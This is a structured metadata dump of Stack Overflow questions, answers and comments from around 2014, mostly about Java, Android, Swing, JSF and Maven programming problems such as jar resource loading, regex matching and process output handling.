tagged with: android
has title: LibGDX BitmapFont won't stop shaking
has answer: http://stackoverflow.com/a/27586316
favorite count: 0
downvote count: 0
type: UnansweredQuestion
has body: I have a BitmapFont that is displaying a player's score as he moves across the screen at a constant rate. Because the player is always moving, I have to recalculate at what position I draw the font every frame. I use this code. scoreFont.setScale(4f, 4f); scoreFont.draw(batch, "" + scoreToShow, playerGhost.pos.x + 100f, 600f); playerGhost.render(batch); The problem? The font won't stop shaking. It's only a couple of pixels worth of vibration, but it's slightly noticeable. It's more noticeable when I run it on my tablet. Is this a known bug? How can I get it to stop shaking?
has answer: http://stackoverflow.com/a/30121152
has comment: http://stackoverflow.com/comment/33847910

http://stackoverflow.com/comment/33826947
score: 0
type: Comment
type: QuestionComment
has text: @BoristheSpider Thanks! :) It was a landslide actually. I was quite surprised. But let me share something... it ain't glamorous - there's plenty of work, and not much time for answering questions any more
comment on: http://stackoverflow.com/q/22269271

http://stackoverflow.com/a/22199771
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/33700711
has body: Parse the timestamps into a Date using SimpleDateFormat. Calculate the difference between dateOne.getTime() and dateTwo.getTime(). The result will be the difference in milliseconds. Use the TimeUnit instances to convert the milliseconds to hours and minutes.
downvote count: 0
has comment: http://stackoverflow.com/comment/33700607
answers question: http://stackoverflow.com/q/22199684
type: Answer

http://stackoverflow.com/comment/33813318
type: AnswerComment
type: Comment
has text: I already have that, but I guess I'm asking a simpler/dumber question... How can those resources be referenced from the html? And when I tried packaging the resources jar file using maven, the resources folder did did not make it into META-INF.. So in maven how is that accomplished?
comment on: http://stackoverflow.com/a/22261482
score: 0

http://stackoverflow.com/comment/33742243
type: AnswerComment
comment on: http://stackoverflow.com/a/22220978
type: Comment
has text: Okay this worked. Thanks a lot. Now my problem remains on my first question.
score: 1

http://stackoverflow.com/q/22272910
has comment: http://stackoverflow.com/comment/33834139
has answer: http://stackoverflow.com/a/22273778
type: Question
tagged with: exception
answer count: 1
has comment: http://stackoverflow.com/comment/33835120
score: 0
tagged with: java
has title: Can someone help me figure out what may be causing error exceptions in my PlayFair Cipher?
has body: This Play Fair Cipher has a 9x9 matrix with 81 characters. The problem that I keep getting is a nullpointer exception when I find a file and/or text.doc and run it and try to encrypt it. The other exception is when I type in a certain number of word/characters within the JTextArea (results) and I get a String out of bounds. Lastly after I do either both actions I get an Array out of bounds exception. Both encrypt and decrypt methods are somewhat similar. The only thing that does work is when I try to encrypt and decrypt only a small number of words, example (Hello my name is John, Jerry. My name is......etc). This code is the encryption portion of the program. Can someone help figure this out. I would greatly appreciate that. String keyword = phraseTF.getText(); // /this loop grabs the string from the JTextfield and initializes it and removes any repeated letter and or symbols***** String CONST = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 '()*+,-./:;&lt;=&gt;[]^?"; keyword = keyword + CONST; String distinctive = ""; for (int i1 = 0; i1 &lt; keyword.length(); i1++) { if (distinctive.indexOf(keyword.charAt(i1)) == -1) { distinctive = distinctive + keyword.charAt(i1); } } System.out.println("Distinctive " + distinctive); // /this loop inserts the distinctive String into 9x9 matrix******** char[][] playfairTable = new char[9][9]; String Storage; int frist = 0; int ninth = 9; for (int i1 = 0; i1 &lt; 9; i1++) { Storage = distinctive.substring(frist, ninth); for (int i11 = 0; i11 &lt; 9; i11++) { Storage = distinctive.substring(frist, ninth); playfairTable[i1][i11] = Storage.charAt(i11); System.out.println("Storage [" + i1 + "][" + i11 + "] "+ playfairTable[i1][i11]); } frist = frist + 9; ninth = ninth + 9; } // /this loop encrypts the results from the JTextArea using the secret phrase from the JTextField*********************** String text = result.getText(); System.out.print("READING IN: "+text+"\n"); text=text.replace("\n", "@"); String check = text…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33833194

http://stackoverflow.com/q/22186186
has title: java.nio.file.FileSystemNotFoundException: Provider 'wsjar' not installed
downvote count: 0
answer count: 1
favorite count: 0
upvote count: 2
type: UnansweredQuestion
score: 2
has body: I am getting this exception report due to a file path not being found correctly. Caused by: java.nio.file.FileSystemNotFoundException: Provider "wsjar" not installed at java.nio.file.Paths.get(Paths.java:158) I am running Websphere v8.5.5.0. I am calling the Path Like this: Class&lt;?&gt; clazz = ... URI uri = clazz.getResource("/project.properties").toURI(); Path propertyFilePath = Paths.get(uri); //error here. Can someone please explain what the wsjar file name means? and what i can do to get around this error? P.S. i will get the actual uri.toString here once i run it with a System.out.println statement. UPDATE: the actual URI string is as follows: wsjar:file:/C:/Program%20Files%20(x86)/IBM/WebSphere/AppServer_1/profiles/AppSrv01/installedApps/AUSSYDCVTLJ007Node02Cell/myapp.ear/lib/core.jar!/project.properties
tagged with: java
has answer: http://stackoverflow.com/a/22300479
type: Question
tagged with: websphere

http://stackoverflow.com/comment/33711385
type: AnswerComment
comment on: http://stackoverflow.com/a/22204948
type: Comment
has text: No problem, it's quite understandable if, like me, you had previously been used to just importing jars. I'm not a big fan of this requirement, but that's the way it is now.
score: 0

android-layout
tags question: http://stackoverflow.com/q/22238531
tag name: android-layout
tags question: http://stackoverflow.com/q/22215518
tags question: http://stackoverflow.com/q/22227984
tags question: http://stackoverflow.com/q/22312086
tags question: http://stackoverflow.com/q/22288985
type: Tag
tags question: http://stackoverflow.com/q/22287032
tags question: http://stackoverflow.com/q/22270510
tags question: http://stackoverflow.com/q/22284618
tags question: http://stackoverflow.com/q/22220962
tags question: http://stackoverflow.com/q/22268055
tags question: http://stackoverflow.com/q/22239639
tags question: http://stackoverflow.com/q/22204548
tags question: http://stackoverflow.com/q/22248948
tags question: http://stackoverflow.com/q/22323325
tags question: http://stackoverflow.com/q/22220937

http://stackoverflow.com/q/22239767
favorite count: 0
duplicate of: http://stackoverflow.com/q/2773824
has answer: http://stackoverflow.com/a/22240025
has comment: http://stackoverflow.com/comment/33773752
downvote count: 6
upvote count: 3
type: UnansweredQuestion
score: -3
has comment: http://stackoverflow.com/comment/33774257
type: Question
has title: Java why use hashSet?
has comment: http://stackoverflow.com/comment/33774182
linked to: http://stackoverflow.com/q/2773824
tagged with: java
answer count: 2
has answer: http://stackoverflow.com/a/22240004
has comment: http://stackoverflow.com/comment/33774125
tagged with: data-structures
has body: I am a beginner in Java, so this may be a dumb question. Why we need hashSet in Java? I just learned that Java hashSet is actually implemented with HashMap. In my understanding, whenever we use hashSet, we can always use hashmap, so why we need hashSet in java? Thanks

http://stackoverflow.com/a/22211408
upvote count: 3
has body: If row and/or column is int, then it doesn't have any method at all since it is a primitive type. Change it to Integer or use == instead.
accepted answer of: http://stackoverflow.com/q/22211277
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22211277
type: Answer
score: 3

http://stackoverflow.com/comment/33803803
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/22239636
type: Comment
has text: Thank you @Ghostkeeper, I am very appreciative of the structure given, tremendous help! And yes, this is inspiring, Thanks.

http://stackoverflow.com/comment/33749691
type: Comment
comment on: http://stackoverflow.com/q/22226899
score: 0
type: QuestionComment
has text: And maybe some code? Also the problem isn't really clear.

http://stackoverflow.com/comment/33844342
score: 0
type: AnswerComment
type: Comment
has text: I'm guessing it's because mStackText is null, i.e., you didn't assign it a TextView reference. If that's not it, you'll have to open a new question; too much to dig through in comments.
comment on: http://stackoverflow.com/a/22278192

http://stackoverflow.com/q/22208624
has body: I have the following code: package test; import org.eclipse.swt.SWT; import org.eclipse.swt.graphics.Image; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell; public class SWTTest { public static void main(String[] args) { SWTTest test=new SWTTest(new Display()); test.run(); } private Shell shell; private Display display; public SWTTest(Display main_display) { display=main_display; shell=new Shell(display, SWT.DIALOG_TRIM); shell.setText("Test window"); shell.setBackgroundImage(new Image(display,"./image/blue_screen.jpg")); } public void run() { shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } } } This is compiling and running. the problem is when I export it as a jar file. Just to make sure I did it correctly: Right-click on the project->export...->Runnable Jar file->choosing the right launch configuration, and then 'Finish'. It creates a jar file, but then when I run it from terminal, I get: Exception in thread "main" org.eclipse.swt.SWTException: i/o error (java.io.FileNotFoundException: ./image/blue_screen.jpg (No such file or directory)) at org.eclipse.swt.SWT.error(Unknown Source) at org.eclipse.swt.SWT.error(Unknown Source) at org.eclipse.swt.graphics.ImageLoader.load(Unknown Source) at org.eclipse.swt.graphics.ImageDataLoader.load(Unknown Source) at org.eclipse.swt.graphics.ImageData.&lt;init&gt;(Unknown Source) at org.eclipse.swt.graphics.Image.&lt;init&gt;(Unknown Source) at test.SWTTest.&lt;init&gt;(SWTTest.java:31) at test.SWTTest.main(SWTTest.java:13) Caused by: java.io.FileNotFoundException: ./image/blue_screen.jpg (No such file or directory) at java.io.FileInputStream.open(Native Method) at java.io.FileInputStream.&lt;init&gt;(FileInputStream.java:146) at java.io.FileInputStream.&lt;init&gt;(FileInputStream.java:101) at org.eclipse.swt.internal.Compatibility.newFileInputStream(Unknown Source) ... 6 more Why is it running on Eclipse, but not as a jar file? Why is it all of a sudde…
type: AnsweredQuestion
has title: FileNotFoundException when running jar file
has comment: http://stackoverflow.com/comment/33717056
upvote count: 3
type: Question
tagged with: filenotfoundexception
linked to: http://stackoverflow.com/q/3915725
score: 3
has answer: http://stackoverflow.com/a/22208738
tagged with: java
has comment: http://stackoverflow.com/comment/33717051
has comment: http://stackoverflow.com/comment/33717472
answer count: 1
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/22208738

http://stackoverflow.com/a/22281999
type: Answer
has comment: http://stackoverflow.com/comment/33849841
accepted answer of: http://stackoverflow.com/q/22281567
answers question: http://stackoverflow.com/q/22281567
has comment: http://stackoverflow.com/comment/33849684
score: 1
has comment: http://stackoverflow.com/comment/33854170
type: AcceptedAnswer
downvote count: 0
has body: Before I explain what you did wrong and how you can correct it here is one very simple way how you can solve your problem with just one regular expression. Idea is to let regex try to match first ** and if this will be not possible then try to match only *. Such regex can look like \\*\\*|\\* because matcher test options of OR from left to right, so in case of data like *** matcher will find first try to find match for \\*\\* and it will succeed so it will consume first two asterixes ** *** ^^ After this matcher will go forward and again will try to check if \\*\\* can be matched here, but since this time there is only one *, \\*\\* wouldn't be matched so matcher will try to test other option in regex which is \\*. So this time matcher will return only one *. *** ^ And so on. Code for such application can look like String data = "*..***...**...****....*....*****..**"; Pattern p = Pattern.compile("\\*\\*|\\*"); Matcher m = p.matcher(data); int tmp1 = 0, tmp2 = 0; while (m.find()) { if (m.group().length() == 1)//found * tmp1++; else //found ** tmp2++; } System.out.println(tmp1); System.out.println(tmp2); Output: 4 7 Now lets focus on your current regexes. oneStarPattern problems Your first regex (^|\\.|(\\*{2})+)\\*(\\.|$) accepts only one * which have ^ . or even number of * before it, and . or $ after it. Strategy which accept * as long as it has even numbers of * before it and . or $ after it has one flaw, because in case ****. ^^^^ part marked with ^ will also be matched (while it shouldn't). This is why this regex matches data marked with ^ and # where marked with # is not supposed to be there: *..***...**...****....*....*****..** ^^ ^^^^ #### ^^^ ^^^^^^ and you are seeing 5 matches. Another possible problem is your regex consumes surrounding elements so they can't be reused in next try to find next matches, so in case of *.*. ^^ first *. will be matched, but . will be included in this match which prevents regex in using it while testing second *.. Because second…
upvote count: 1

http://stackoverflow.com/q/22180879
has answer: http://stackoverflow.com/a/22181794
tagged with: jlabel
has comment: http://stackoverflow.com/comment/33667982
has comment: http://stackoverflow.com/comment/33667779
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33667851
has comment: http://stackoverflow.com/comment/33667544
tagged with: swing
has title: Use two MouseListeners at "one time"
tagged with: mouselistener
tagged with: java
tagged with: grid
type: Question
has body: Let's they I have a 2x2 grid made with 4 JLabels. I want to display the content of the JLabel (a String) when clicking on a field and other content, when releasing the mouse on an other field (or the same when releasing on the same field). In my for clause which is giving the coordinates to each fields (x;y) I can use the actual position while using this loops to create the coordinates for (int y = s - 1; y &gt;= 0; y--) { //starting with int s,v = 2 for (int x = 0; x &lt; v; x++) { field[x][y] = new JLabel((x) + ";" + (y)); field[x][y].setName((x) + ";" + (y)); adding a Listener to it with field[x][y].addMouseListener(new myMouseListener()); and get the setName() like this in my class mousePressed Component c = e.getComponent(); sysout(c.getName()); ...same thing in mouseReleased d = e.getComponent(); System.out.println(d.getName()); In the theory I should get different coordinates when releasing the mouse, but I always get the same ones as while pressing the mouse. For example: c.getName() return 3;2 AND d.getName() return 3;2 How can i change this?
score: 0
answer count: 1

http://stackoverflow.com/q/22235877
has comment: http://stackoverflow.com/comment/33766446
has comment: http://stackoverflow.com/comment/33766362
type: Question
answer count: 2
downvote count: 0
has title: Are the java.util.* packages only meant for utility classes?
accepted answer: http://stackoverflow.com/a/22235969
tagged with: utility
has comment: http://stackoverflow.com/comment/33766315
has comment: http://stackoverflow.com/comment/33769588
favorite count: 0
tagged with: package
has comment: http://stackoverflow.com/comment/33766424
has answer: http://stackoverflow.com/a/22235993
has comment: http://stackoverflow.com/comment/33768214
has body: I am programming in Java and was told to refactor some code to coding standards. I was told that util packages are meant for static utility classes and not application functionality. Is this correct? What exactly does this mean? Also, considering the "java.util" package contains Collection interface, how else could I accomplish tasks requiring lists?
has answer: http://stackoverflow.com/a/22235969
type: AnsweredQuestion
score: 3
tagged with: standards
upvote count: 3
possible better answer: http://stackoverflow.com/a/22235993
tagged with: java

http://stackoverflow.com/comment/33803362
type: QuestionComment
comment on: http://stackoverflow.com/q/22255611
has text: I believe that this is a Derby issue because arrays are not SQL Type-to-Wrapper Match list. https://db.apache.org/derby/docs/10.10/ref/rrefsqljargmatching.html
score: 0
type: Comment

http://stackoverflow.com/comment/33845620
type: QuestionComment
has text: Probably your handling of Vectors is the problem. `Vector2 p = p0.scl(uuu);`. Vector2.scl() scales the vector, and retuns itself after that. After two iterations pixel0, pixel1 and p0 all point to the same Vector2 and will always be the same. Try using `Vector2.cpy()`
type: Comment
score: 1
comment on: http://stackoverflow.com/q/22273741

http://stackoverflow.com/comment/33717756
comment on: http://stackoverflow.com/q/22208942
score: 0
has text: Yeah, count 31 months from the beginning of 2013 and you end up in July 2015. Should I post that as an answer?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/33892225
has text: "In other case I have a gap beetwen the values" this is a naive solution that works only in this case. I'm looking for a solution that works always...
comment on: http://stackoverflow.com/q/22305557
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22224264
has answer: http://stackoverflow.com/a/25307718
accepted answer: http://stackoverflow.com/a/25307718
tagged with: java
has comment: http://stackoverflow.com/comment/33746354
has body: I am executing processes with Java and parsing their results. However, when I read the output I don't get all the content. For example, if I execute this with the Windows console: cmd /c tasklist | FIND "java" It shows: javaw.exe 6192 Console 1 683.668 KB java.exe 8448 Console 1 35.712 KB java.exe 7252 Console 1 35.736 KB javaw.exe 3260 Console 1 76.652 KB java.exe 9728 Console 1 35.532 KB But if I do the same with a java process only two of them appear: java.exe 8448 Console 1 35.712 KB javaw.exe 3260 Console 1 76.652 KB This is a simplified version of the code: public static void printPidsOfJavaProcesses() { try { String[] params = null; if (isInWindows()) { params = new String[6]; params[0] = "cmd"; params[1] = "/c"; params[2] = "tasklist"; params[3] = "|"; params[4] = "FIND"; params[5] = "\"java\""; } else { ... } Process process = ProcessUtil.executeConsoleCommand(params); printConsoleOutput(process) } catch (IOException e) { log.error("It was not possible to obtain the pids of the active processes"); } } public static void printConsoleOutput(Process process) { InputStream input = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(input)); try { String line = null; while ((line = reader.readLine()) != null) { System.out.println(line); } } catch (IOException e) { log.error("It was not possible to obtain the process output", e); } } public static Process executeConsoleCommand(String[] params) throws IOException { // Create the process final ProcessBuilder processBuilder = new ProcessBuilder(params); // Redirect errors to avoid deadlocks when the buffer get full processBuilder.redirectErrorStream(true); // Launch the process Process process = processBuilder.start(); return process; } I have searched here and on Google and most people launch and read processes in a similar way, so the cause of the problem might be related with the console command. Do you have any idea? Thanks in advance
has comment: http://stackoverflow.com/comment/33745990
type: Question
score: 0
has comment: http://stackoverflow.com/comment/37560543
answer count: 1
has comment: http://stackoverflow.com/comment/37569076
has comment: http://stackoverflow.com/comment/39446469
linked to: http://stackoverflow.com/q/21201873
has comment: http://stackoverflow.com/comment/33747786
has comment: http://stackoverflow.com/comment/33745488
tagged with: processbuilder
has title: Obtaining process output with Java doesn't display all the content
tagged with: process
has comment: http://stackoverflow.com/comment/33745331
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33746062
has comment: http://stackoverflow.com/comment/33744685

http://stackoverflow.com/comment/33839065
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22275886
has text: @BoristheSpider I agree, sure, in principle that's right. Either I am immuned by now, or you're too sensitive about this :). I personally don't find this spaghetti at all. Just a few nested loops.

http://stackoverflow.com/a/22295090
has comment: http://stackoverflow.com/comment/70245411
score: 2
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: Try this - <c:forEach var="e" items="${entry}"> For <c:out value="${e.key}"/> Machine Name T2_95 T2_99 Syncs Syncs Behind Average <c:forEach var="m" items="${e.value}"> ${m.machineName} ${m.t2_95} ${m.t2_99} ${m.syncs} ${m.syncsBehind} ${m.average} <c:ForEach> </c:forEach>
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22293665
has comment: http://stackoverflow.com/comment/70277977
answers question: http://stackoverflow.com/q/22293665

http://stackoverflow.com/a/24322629
answers question: http://stackoverflow.com/q/22314737
score: 1
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has body: The problem isn't the db-factory, it's the mapping-converter that has an optional argument "db-factory-ref". This argument is internally preset to "mongoDbFactory" to match the default "id" of the db-factory. So the "id" of the db-factory works, but the "db-factory-ref" of the mongo-conver has to be set accordingly: &lt;mongo:db-factory id="xmlDbFactory" ... /&gt; &lt;mongo:mapping-converter db-factory-ref="xmlDbFactory"&gt;
accepted answer of: http://stackoverflow.com/q/22314737
type: Answer

http://stackoverflow.com/comment/33766376
type: Comment
type: QuestionComment
has text: If my answer accurately solves your issue, please mark it as the solution.
score: 0
comment on: http://stackoverflow.com/q/22235849

amazon-elastic-beanstalk
tag name: amazon-elastic-beanstalk
type: Tag
tags question: http://stackoverflow.com/q/22196091

http://stackoverflow.com/a/22219724
answers question: http://stackoverflow.com/q/22219512
score: 0
has body: Yes. The chain of elements group ( name of the class, static attributes, instance attributes, static method, inner static block of code, etc) (1) is defined in compile time, not in run time: it has a deterministic behaviour. When you run main, you have loaded at the first time LexicalOrderStatic and the static elements (attributes, methods) are loaded very quickly if this is the first loading. If you load a second obejct of LexicalOrderStatic, the attribute are shared between the two instance. Yu can see this statement in running this modified main public static void main(String[] args) { LexicalOrderStatic lexLuthor = new LexicalOrderStatic(); System.out.println(lexLuthor.getA1()); LexicalOrderStatic lexLuthor2 = new LexicalOrderStatic(); System.out.println(lexLuthor2.getA1()); } (1) before I referred to inheritance, but it'snt the situation, as pointed by the first comment
type: Answer
has comment: http://stackoverflow.com/comment/33737177

http://stackoverflow.com/comment/33759002
comment on: http://stackoverflow.com/a/22231114
type: AnswerComment
score: 0
has text: @JonathanDrapeau thanks for your time, but peter.petrov's solution worked just as I needed. I +1'ed your answer for your effort though.
type: Comment

http://stackoverflow.com/comment/33767577
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236327
has text: can this be achieved any way ?

http://stackoverflow.com/a/22329514
downvote count: 0
has comment: http://stackoverflow.com/comment/33936510
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/33938000
upvote count: 1
answers question: http://stackoverflow.com/q/22325410
has body: You should read up on pom dependencies with import as shown here. Basically, you need to create pom with all the dependencies you need and then define a dependency to it with scope import.

http://stackoverflow.com/q/22188940
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33681925
score: 6
tagged with: swing
upvote count: 6
tagged with: animated-gif
has title: .gif image doesn't moves on adding it to the JTabbed pane
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33681738
has answer: http://stackoverflow.com/a/22190844
has comment: http://stackoverflow.com/comment/33682251
has body: I have a JFrame. In that i have two containers i.e two JPanel. one Panel holds a image. other holds a JButton. Then these two are added to JTabbedPane. My problem is on using a .gif image the image becomes static as any other normal .jpg image. Can anyone help me with some more ideas? Here is my code: import java.awt.Component; import java.awt.Dimension; import java.awt.Frame; import java.awt.Graphics; import java.awt.GridBagLayout; import java.awt.GridLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.image.BufferedImage; import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; import java.net.URL; import java.net.UnknownHostException; import javax.imageio.ImageIO; import javax.imageio.stream.ImageInputStream; import javax.swing.Icon; import javax.swing.ImageIcon; import javax.swing.JButton; import javax.swing.JDesktopPane; import javax.swing.JFrame; import javax.swing.JOptionPane; import javax.swing.JPanel; import javax.swing.JTabbedPane; import javax.swing.SwingUtilities; import javax.swing.UIManager; import javax.swing.UnsupportedLookAndFeelException; import javax.swing.UIManager.LookAndFeelInfo; public class ICLOUD implements ActionListener { private BufferedImage bg; JButton b1; private Object frame1; JFrame frame2 = new JFrame(); JDesktopPane desktop = new JDesktopPane(); public ICLOUD() { try { URL url = this.getClass().getResource("anigif.gif"); bg = ImageIO.read(url); } catch (IOException ex) { } JPanel tabPanel = new JPanel(new GridBagLayout()) { @Override protected void paintComponent(Graphics g) { super.paintComponent(g); g.drawImage(bg, 0, 0, getWidth(), getHeight(), this); } @Override public Dimension getPreferredSize() { return new Dimension(400, 300); } }; JPanel buttons = new JPanel(new GridLayout(4, 1, 15, 15)); buttons.setOpaque(false); ImageIcon icon5 = new ImageIcon(ICLOUD.class.getResource("hi.jpg")); b1=new JButton("Hello"); buttons.add(b1); tabPanel.add(buttons); JTabbedP…
tagged with: image
answer count: 1
downvote count: 0
tagged with: paintcomponent

http://stackoverflow.com/q/22203421
has body: I am using Appengine Shared Memcache in Java. All of a sudden it stopped storing and its not even throwing any exception. My implementation is as follows, public class MemcachedUtil { public static final int ONE_DAY_SECONDS=86400; public static final int ONE_DAY_MILLISECONDS=86400000; public static final int ONE_HOUR_SECONDS=3600; public static final int ONE_HOUR_MILLISECONDS=3600000; public static void set(String key,Object value,String namespace) { MemcacheService srv=MemcacheServiceFactory.getMemcacheService(namespace); srv.put(key,value, Expiration.byDeltaSeconds(ONE_DAY_SECONDS)); } ............ // Get / GetAll / Set methods like above.... declared. } In another class , i am implementing like follows.... ... MemcachedUtil.set("salePrice_"+highToLow+"_"+pageNo, retVal, "Test"); // Set MemcachedUtil.get("salePrice_"+highToLow+"_"+pageNo, "Test"); // Get and given expiration times as follows, public static final int ONE_DAY_SECONDS=86400; public static final int ONE_DAY_MILLISECONDS=86400000; public static final int ONE_HOUR_SECONDS=3600; public static final int ONE_HOUR_MILLISECONDS=3600000; Any one aware of why this? Even I have updated , Appengine SDK 1.9.0 and tried dedicated memcache too. Nothing works. But still , not even get clue why is that all of a sudden?. Kindly help me out to figure out.
tagged with: google-app-engine
has answer: http://stackoverflow.com/a/22207142
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33707510
tagged with: memcached
tagged with: java
has comment: http://stackoverflow.com/comment/33707704
type: Question
score: 0
has title: Appengine Shared Memcache not storing data
tagged with: google-cloud-datastore
answer count: 1

http://stackoverflow.com/comment/33701573
has text: @martinclayton I think there is a problem using File Watchers within Webstorm File Watchers runs every time I save my changed js Files and it runs ant like in an infinite loop I just still have no clue what is wrong
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22193992

http://stackoverflow.com/q/22269230
type: Question
has comment: http://stackoverflow.com/comment/33875539
has body: This has to be the most asked issue around JSF here, and I have found many resources but failed to fix it anyway. So, the issue description is that I have a JSF page with selectOneMenu component, which is correctly populated with data when rendered. On the page submit I receive validation error, I suspect it is because the data in this component are already lost, but I am not sure how to keep them in there. So, the relevant code snippets: &lt;ui:composition xmlns="http://www.w3.org/1999/xhtml" xmlns:ui="http://java.sun.com/jsf/facelets" xmlns:f="http://java.sun.com/jsf/core" xmlns:h="http://java.sun.com/jsf/html" template="/WEB-INF/templates/default.xhtml"&gt; &lt;f:metadata&gt; &lt;f:viewParam name="user" value="#{taskController.user}" /&gt; &lt;f:viewParam name="taskId" value="#{taskController.taskId}" /&gt; &lt;f:event type="preRenderView" listener="#{taskController.queryTask}" /&gt; &lt;!-- &lt;f:viewAction action="#{taskController.queryTask}" /&gt;--&gt; &lt;/f:metadata&gt; &lt;ui:param name="pageTitle" value="Select service task" /&gt; &lt;ui:define name="content"&gt; &lt;h:form&gt; &lt;h:outputText value="Select service task" /&gt; &lt;h:panelGrid columns="2"&gt; &lt;h:panelGroup&gt;Task Id&lt;/h:panelGroup&gt; &lt;h:panelGroup&gt;#{taskController.task.id}&lt;/h:panelGroup&gt; &lt;h:panelGroup&gt;Created by&lt;/h:panelGroup&gt; &lt;h:panelGroup&gt;#{taskController.task.taskData.createdBy.id}&lt;/h:panelGroup&gt; &lt;h:panelGroup&gt;Task Status&lt;/h:panelGroup&gt; &lt;h:panelGroup&gt;#{taskController.task.taskData.status}&lt;/h:panelGroup&gt; &lt;h:selectOneMenu value="#{taskController.selectedServiceUUID}"&gt; &lt;f:selectItems id = "test" value="#{taskController.content.get('srampServiceList')}" var="service" itemLabel="#{service.name}" itemValue="#{service.UUID}" /&gt; &lt;/h:selectOneMenu&gt; &lt;/h:panelGrid&gt; &lt;h:commandButton action="#{taskController.completeSelectServiceTask}" value="Select service" /&gt; &lt;/h:form&gt; &lt;/ui:define&gt; The sel…
tagged with: jsf-2
score: 0
has title: JSF: Validation error
answer count: 2
tagged with: validation
has answer: http://stackoverflow.com/a/22319956
accepted answer: http://stackoverflow.com/a/22319956
has answer: http://stackoverflow.com/a/22269342
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33875787
possible better answer: http://stackoverflow.com/a/22269342
has comment: http://stackoverflow.com/comment/33899853

http://stackoverflow.com/comment/33652753
comment on: http://stackoverflow.com/q/22173068
score: 0
type: QuestionComment
type: Comment
has text: What's wrong with the code you have? Is there a compile-error? An exception?

http://stackoverflow.com/comment/33890275
type: Comment
has text: I should have aid more attention to the Play 2.2.1 version. It has some issues with ws.timeout https://github.com/playframework/playframework/pull/1739. I am surprised that you didn't see errors when you configured ws.timeout. But if you use Play 2.2.2 then it should work I just tested with this fake endpoint ```def endpoint = Action.async { val json = Json.toJson(Map("sentence" -> "42")) import scala.concurrent.duration._ play.api.libs.concurrent.Promise.timeout(Ok(json), 5 seconds) }```
score: 0
comment on: http://stackoverflow.com/a/22254730
type: AnswerComment

http://stackoverflow.com/comment/33833221
comment on: http://stackoverflow.com/a/22237347
type: AnswerComment
score: 0
type: Comment
has text: `code` public static double applyDiscount( String customerName,double discount){ if(customerName.charAt(0) == 'C'&& customerName.charAt(0) == 'I' &&customerName.charAt(0) == 'T'){ System.out.println("We are currently running a special promotion this month,and you qualify for a discount of" + " " + "€" + " " +discount); discount=2.00; }else{ discount=0; } return discount; `code` Any particular reason why this method isn't returning or displaying anything

http://stackoverflow.com/comment/33869605
score: 0
comment on: http://stackoverflow.com/q/22292393
type: Comment
type: QuestionComment
has text: i am using hibernate when i persist a enttity hibernate create the column type according to data type in entity.for example a String data type will be converted to varchar column type.i don't know about hashmap.i mean what column type hibernate will create for hashmap i am not sure.

http://stackoverflow.com/comment/33690764
type: Comment
type: AnswerComment
has text: Thank u. I know the substring function. But I have no idea how I can automatical built a string with "W" and 5 digits after the W. When I have an int with only 4 digitets. I can´t fill the string to the left side with 0-digitels to the W.
score: 0
comment on: http://stackoverflow.com/a/22194232

http://stackoverflow.com/q/22250231
accepted answer: http://stackoverflow.com/a/22250293
has answer: http://stackoverflow.com/a/22250416
has answer: http://stackoverflow.com/a/22250375
has comment: http://stackoverflow.com/comment/33791850
has answer: http://stackoverflow.com/a/22250356
tagged with: java
has comment: http://stackoverflow.com/comment/33791808
has body: I am new to coding and I have a question in Java. Here is my homework problem: Write a program that calls a method called Sum100 that returns the sum of the integers from 1 to 100, inclusive. I have written my method public int sum100() { int sum = 0; for (int count=1; count &lt;= 100; count++) sum += count; return sum; } Here is my question: Can I print out my answer from here or do I need to put something in the main like this public static void main(String[] args) { System.out.println(sum100());//not working }
type: Question
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/4969171
answer count: 6
has answer: http://stackoverflow.com/a/22250253
tagged with: java-io
has title: Unable to output value from main method
duplicate of: http://stackoverflow.com/q/4969171
score: 0
has answer: http://stackoverflow.com/a/22250556
has answer: http://stackoverflow.com/a/22250293
possible better answer: http://stackoverflow.com/a/22250253

http://stackoverflow.com/comment/33952918
comment on: http://stackoverflow.com/a/22312499
score: 0
type: AnswerComment
type: Comment
has text: no, you are probably better off using the simple DataSource and letting c3p0 provide its own ConnectionPoolDataSource. You can have c3p0 wrap a driver's ConnectionPoolDataSource (see c3p0's docs, something like "Advanced: Build your own DataSource"), but you'll lose access to some c3p0 features and usually gain very little by doing that.

http://stackoverflow.com/a/22273816
upvote count: 2
answers question: http://stackoverflow.com/q/22273656
has comment: http://stackoverflow.com/comment/33834966
